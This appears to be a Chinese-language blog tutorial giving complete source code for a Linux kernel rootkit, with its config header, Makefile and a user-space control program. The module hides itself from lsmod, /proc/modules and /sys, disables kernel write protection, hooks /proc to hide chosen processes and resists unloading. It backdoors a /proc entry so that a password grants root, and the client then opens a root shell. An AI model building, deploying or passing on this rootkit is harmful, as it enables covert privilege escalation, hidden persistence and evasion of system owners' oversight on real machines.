rootkit:在隐藏模块的基础上隐藏进程

        上篇随笔中实现了隐藏进程,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。

        这里我们可以通过/proc文件系统来向内核传递命令的方式,实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。

       对于什么是/proc文件系统,以及如何通过它来跟内核通信,可以参考这里: http://www.ibm.com/developerworks/cn/linux/l-proc.html

      下面直接贴代码:

     

  1 /*rootkit.c*/

  2 #include <linux/module.h>

  3 #include<linux/kernel.h>

  4 #include<linux/proc_fs.h>

  5 #include<linux/sched.h>

  6 #include<linux/string.h>

  7 #include<linux/cred.h>

  8 #include<linux/stat.h>

  9 #include<linux/uaccess.h>

 10 #include<linux/file.h>

 11 #include "rootkit_conf.h"

 12 

 13 MODULE_LICENSE("GPL") ;

 14 MODULE_AUTHOR("Ormi<[email protected]>") ;

 15 MODULE_DESCRIPTION("Simple rootkit using procfs") ;

 16 MODULE_VERSION("0.1.2");

 17 static int failed;

 18 int orig_cr0;

 19 static char pid[10][32];

 20 static int pid_index;

 21 /* Here are pointers in which we save original, replaced pointers. We use

 22 them later, during unloading the module.

 23 I think that their names explain what they are ;) */

 24 static int (*old_proc_readdir)(struct file *, void *, filldir_t);

 25 static filldir_t old_filldir ;

 26 static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *);

 27 static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*);

 28 static write_proc_t *old_write;

 29 static read_proc_t *old_read;

 30 static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */

 31 static struct proc_dir_entry *root; /* Pointer to /proc directory */

 32 static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */

 33 static struct file_operations *fops; /* file_operations of infected entry */

 34 static struct file_operations *root_fops; /* file_operations of /procdirectory */

 35 

 36 

 37 static unsigned int clear_and_return_cr0(void)//

 38 {

 39     unsigned int cr0 = 0;

 40     unsigned int ret;

 41 

 42     asm volatile ("movl %%cr0, %%eax"

 43             : "=a"(cr0)//eaxcr0

 44          );

 45     ret = cr0;//

 46 

 47     /*clear the 16th bit of CR0,*/

 48     cr0 &= 0xfffeffff;

 49     asm volatile ("movl %%eax, %%cr0"

 50             :

 51             : "a"(cr0)

 52          );

 53     return ret;

 54 }

 55 

 56 static void setback_cr0(unsigned int val)

 57 {

 58     asm volatile ("movl %%eax, %%cr0"

 59             :

 60             : "a"(val)

 61          );

 62 }

 63 

 64 static inline void module_remember_info(void)//save the pointer to the prev of hide module

 65 {

 66     prev = THIS_MODULE->list.prev;

 67 }

 68 static inline void module_show(void)//lsmod

 69 {

 70     list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */

 71 }

 72 

 73 /* Parameter of this function is pointer to buffer in which there should be

 74 command */

 75 

 76 static int check_buf(const char __user *buf)

 77 {

 78     /* Here we give root privileges */

 79     struct cred *new = prepare_creds();//return current process's cred struct

 80     if (!strcmp(buf, password)) {

 81     new->uid = new->euid = 0;

 82     new->gid = new->egid = 0;

 83     commit_creds(new);

 84     }

 85 

 86     /* Here we make possible to unload the module by "rmmod" */

 87     else if (!strcmp(buf, module_release))

 88         module_put(THIS_MODULE);//count--

 89     /* Here we make module visible */

 90     else if (!strcmp(buf, module_uncover))

 91         module_show();//add to the list

 92     /* We hide process */

 93     else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {

 94         if (pid_index > 9)  /*max number of the hided process is 10*/

 95         return 0;

 96         sprintf(pid[pid_index], "%s", buf + 5);

 97         pid_index++;

 98     }

 99 /* We "unhide" lastly hidden process */

100     else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {

101         if (!pid_index)

102         return 0;

103         pid_index--;

104     }

105 /* If we are here, there was no command passed */

106     else

107         return 1;

108     return 0;

109 }

110 

111 

112 

113 /* Our "write" function */

114 static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data)

115 {

116     /* If check_buf return 0, there was command passed */

117     if (!check_buf(buf))

118         return count;

119     /* Otherwise we execute original function */

120     return old_write(file, buf, count, data);

121 }

122 

123 

124 

125 /* Our "read" function for read_proc field*/

126 static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data)

127 {

128     if (!check_buf(buf))

129         return count;

130     return old_read(buf, start, off, count, eof, data);

131 }

132 

133 

134 /* For file_operations structure */

135 static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p)

136 {

137     if (!check_buf(buf_user))

138         return count;

139     return old_fops_write(file, buf_user, count, p);

140 }

141 

142 

143 /* For file_operations structure */

144 static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p)

145 {

146     

147     if (!check_buf(buf_user))

148         return count;

149     return old_fops_read(file, buf_user, count, p);

150 }

151 

152 

153 /* Our filldir function */

154 static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type)

155 {

156     int i;

157     /* We check if "name" is pid of one of hidden processes */

158     for (i = 0; i < pid_index; i++)

159     if (!strcmp(name, pid[i]))

160         return 0; /* If yes, we don't display it */

161     /* Otherwise we invoke original filldir */

162     return old_filldir(__buf, name, namelen, offset, ino, d_type);

163 }

164 

165 

166 

167 /* Our readdir function */

168 static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)

169 {

170     /* To invoke original filldir in new_filldir we have to remeber pointer to

171     original filldir */

172     old_filldir = filldir;

173     /* We invoke original readdir, but as "filldir" parameter we give pointer to

174     our filldir */

175     return old_proc_readdir(filp, dirent, new_filldir) ;

176 }

177 

178 

179 

180 /* Here we replace readdir function of /proc */

181 static inline void change_proc_root_readdir(void)

182 {

183     root_fops = (struct file_operations *)root->proc_fops;

184     old_proc_readdir = root_fops->readdir;

185 

186     root_fops->readdir = new_proc_readdir;

187     

188 }

189 

190 

191 static inline void proc_init(void)//commond

192 {

193     ptr = create_proc_entry("temporary", 0444, NULL);

194     ptr = ptr->parent;

195     /* ptr->parent was pointer to /proc directory */

196     /* If it wasn't, something is seriously wrong */

197     if (strcmp(ptr->name, "/proc") != 0) {

198         failed = 1;

199         return;

200     }

201     root = ptr;

202     remove_proc_entry("temporary", NULL);

203     

204     orig_cr0 = clear_and_return_cr0();

205     change_proc_root_readdir(); /* We change /proc's readdir function */

206     setback_cr0(orig_cr0); /*set the wp*/

208     ptr = ptr->subdir;

209     /* Now we are searching entry we want to infect */

210     while (ptr) {

211         if (strcmp(ptr->name, passwaiter) == 0)

212         goto found; /* Ok, we found it */

213         ptr = ptr->next; /* Otherwise we go to next entry */

214     }

215     /* If we didn't find it, something is wrong :( */

216     failed = 1;

217     return;

218 found:

219     /* Let's begin infecting */

220     /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */

221     old_write = ptr->write_proc;

222     old_read = ptr->read_proc;

223     fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */

224     old_fops_read = fops->read;

225     old_fops_write = fops->write;

226     

227     orig_cr0 = clear_and_return_cr0();  /*set back the wp*/

228     

229     /* We replace write_proc/read_proc */

230     if (ptr->write_proc)

231         ptr->write_proc = buf_write;

232     else if (ptr->read_proc)

233         ptr->read_proc = buf_read;

234         

235     /* We replace read/write from file_operations */

236     if (fops->write)

237         fops->write =fops_write;

238      else if (fops->read)

239         fops->read = fops_read;

240         

241     setback_cr0(orig_cr0);

242     /* There aren't any reading/writing functions? Error! */

243     if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) {

244         failed = 1;

245         return;

246     }

247 }

248 

249 

250 /* This functions does some "cleanups". If we don't set some pointers tu

251 NULL,

252 we can cause Oops during unloading rootkit. We free some structures,

253 because we don't want to waste memory... */

254 static inline void tidy(void)

255 {

256     kfree(THIS_MODULE->notes_attrs);

257     THIS_MODULE->notes_attrs = NULL;

258     kfree(THIS_MODULE->sect_attrs);

259     THIS_MODULE->sect_attrs = NULL;

260     kfree(THIS_MODULE->mkobj.mp);

261     THIS_MODULE->mkobj.mp = NULL;

262     THIS_MODULE->modinfo_attrs->attr.name = NULL;

263     kfree(THIS_MODULE->mkobj.drivers_dir);

264     THIS_MODULE->mkobj.drivers_dir = NULL;

265 }

266 

267 

268 

269 /*

270 We must delete some structures from lists to make rootkit harder to detect.

271 */

272 static inline void rootkit_hide(void)

273 {

274     list_del(&THIS_MODULE->list);//lsmod,/proc/modules

275     kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules

276     list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry

277 }

278 

279 

280 static inline void rootkit_protect(void)

281 {

282     try_module_get(THIS_MODULE);// count++

283 }

284 

285 

286 static int __init rootkit_init(void)

287 {

288     module_remember_info();

289     proc_init();

290     if (failed)

291         return 0;

292     rootkit_hide();

293     tidy();

294     rootkit_protect();

295     return 0 ;

296 }

297 

298 

299 

300 static void __exit rootkit_exit(void)

301 {

302     /* If failed, we don't have to do any cleanups */

303     if (failed)

304         return;

305     orig_cr0 = clear_and_return_cr0();

306     root_fops->readdir = old_proc_readdir;

307     fops->write = old_fops_write;

308     fops->read = old_fops_read;

309     ptr->write_proc = old_write;

310     ptr->read_proc = old_read;

311     setback_cr0(orig_cr0);

312 }

313 

314 

315 module_init(rootkit_init);

316 module_exit(rootkit_exit);

命令头文件:

1 /*rootkit_conf.h*/

2 static char password[] = "secretpassword" ; //give here password

3 static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it

4 static char module_release[] = "release" ; //command to release the module(make possible to unload it)

5 static char module_uncover[] = "uncover" ; //command to show the module

6 static char hide_proc[] = "hide" ; //command to hide specified process

7 static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process

对应的Makefile

1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae

2 PWD:=$(shell pwd)

3 obj-m :=rootkit.o

4 modules:

5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules

6 clean:

7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

测试程序:

 1 /*test_rootkit.c*/

 2 #include<stdio.h>

 3 #include<unistd.h>

 4 #include<fcntl.h>

 5 #include<string.h>

 6 #include<errno.h>

 7 #include<sys/stat.h>

 8 #include "rootkit_conf.h"

 9 static char file[64];

10 static char command[64];

11 int root = 0;

12 int main(int argc, char *argv[])

13 {

14     if(argc < 2) 

15     {

16         fprintf(stderr, "Usage: %s <command>\n", argv[0]);

17         return 1;

18     }

19     int fd ;

20     /* We get path to infected entry */

21     sprintf(file, "/proc/%s", passwaiter);

22     

23     /* If sent command is equal to command which has to give us root, we must run shell at the end */

24     if(!strcmp(argv[1], password))

25         root = 1;

26         

27     /* At first we try to write command to that entry */

28     fd = open(file, O_WRONLY);

29     if(fd < 1) 

30     {

31         printf("Opening for writing failed! Trying to open for reading!\n");

32         /* Otherwise, we send command by reading */

33         fd = open(file, O_RDONLY);

34         if(!fd) {

35             perror("open");

36         return 1;

37         }

38         read(fd, argv[1], strlen(argv[1]));

39     }

40     else

41       write(fd, argv[1], strlen(argv[1]));

42 end:

43     close(fd) ;

44     printf("[+] I did it!\n") ;

45     /* if we have to get root, we run shell */

46     if(root) {

47         uid_t uid = getuid() ;

48         printf("[+] Success! uid=%i\n", uid) ;

49         setuid(0) ;

50         setgid(0) ;

51         execl("/bin/bash", "bash", 0) ;

52     }

53     return 0;

54 }

编译生成模块 rootkit.ko,并加载进内核

默认情况下,我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。

此时编译运行test_rootkit.c

并传入参数:1:secretpassword 此时可以获得root权限

                     2:uncover  此时运行lsmod可以查看到模块rootkit.ko

                     3:  release   此时才可以用rmmode卸载模块rootkit.ko,默认情况下是不可以卸载的,因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0,这样才可以卸载

                    4:hide:12   此时就可以隐藏进程号为12的进程

                    5:unhide     此时就可以显示最近隐藏的进程

 

你可能感兴趣的:(root)